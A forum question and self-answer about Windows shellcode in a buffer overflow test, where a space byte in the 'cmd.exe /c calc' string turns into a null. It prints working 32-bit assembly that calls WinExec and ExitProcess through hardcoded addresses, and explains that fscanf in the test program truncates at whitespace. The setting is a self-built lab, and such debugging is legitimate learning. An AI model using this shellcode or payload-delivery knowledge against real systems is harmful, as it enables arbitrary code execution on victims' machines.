In buffer overflow exploit, 0x20 (space character) not appearing in memory and is replaced by null

Question

The situation: I'm currently working on shellcode (I modified the assembly code from Project Shellcode) that runs "cmd.exe /c calc.exe". The shellcode itself works fine. However, when I use the shellcode during a buffer overflow exploit, the 0x20 (space character) byte in the string gets replaced with a null byte. I'm unable to find a good explanation for why this is happening. The following is the assembly code:

;Calls calc.exe. Modified from http://projectshellcode.com/node/20 [SECTION .text]

BITS 32

global _start

_start:

jmp short GetCommand

CommandReturn: pop ebx ;ebx now points to the string xor eax,eax ;clear eax push eax ;push null onto stack push ebx ;push command string onto stack mov ebx,0x7c86114d ;place winExec address into ebx call ebx ;call WinExec({cmd},0)

xor eax,eax ;remove return value of WinExec push eax ;push null onto stack as parameter value mov ebx, 0x7c81caa2 ;place ExitProcess address into ebx
call ebx ;call ExitProcess(0)

GetCommand: call CommandReturn db 'cmd.exe /c calc',0 ;space character is replaced by null.

What I know so far:

1. I know that I don't have a space issue, because I have placed a longer string without any spaces, and it still shows in memory.
2. I know that the shellcode works because I've tested it by placing it directly into a buffer and calling the buffer like a function call in C.

The following is what I see in Immunity's top left window:

1. Addresses 0012FFB3-0012FFCB is the shellcode
2. Before that is my NOP slide.
3. Beginning at address 0012FFD0 is supposed to be "cmd.exe /c calc.exe", but it is only "cmd.exe", I see at address 0012FFEB that there is a null instead of 0x20 there at the end.

Answer 1

Oh my - I know why this is happening: It is because in my test vulnerable application, I'm using fscanf to read in the malicious input string from a file, and this space in the hex string will get cut off by fscanf.

According to (http://www.cplusplus.com/reference/cstdio/fscanf/): "the function will read and ignore any whitespace characters encountered before the next non-whitespace character (whitespace characters include spaces, newline and tab characters -- see isspace)."

Note: I'm only reading the stream once in the vulnerable test application.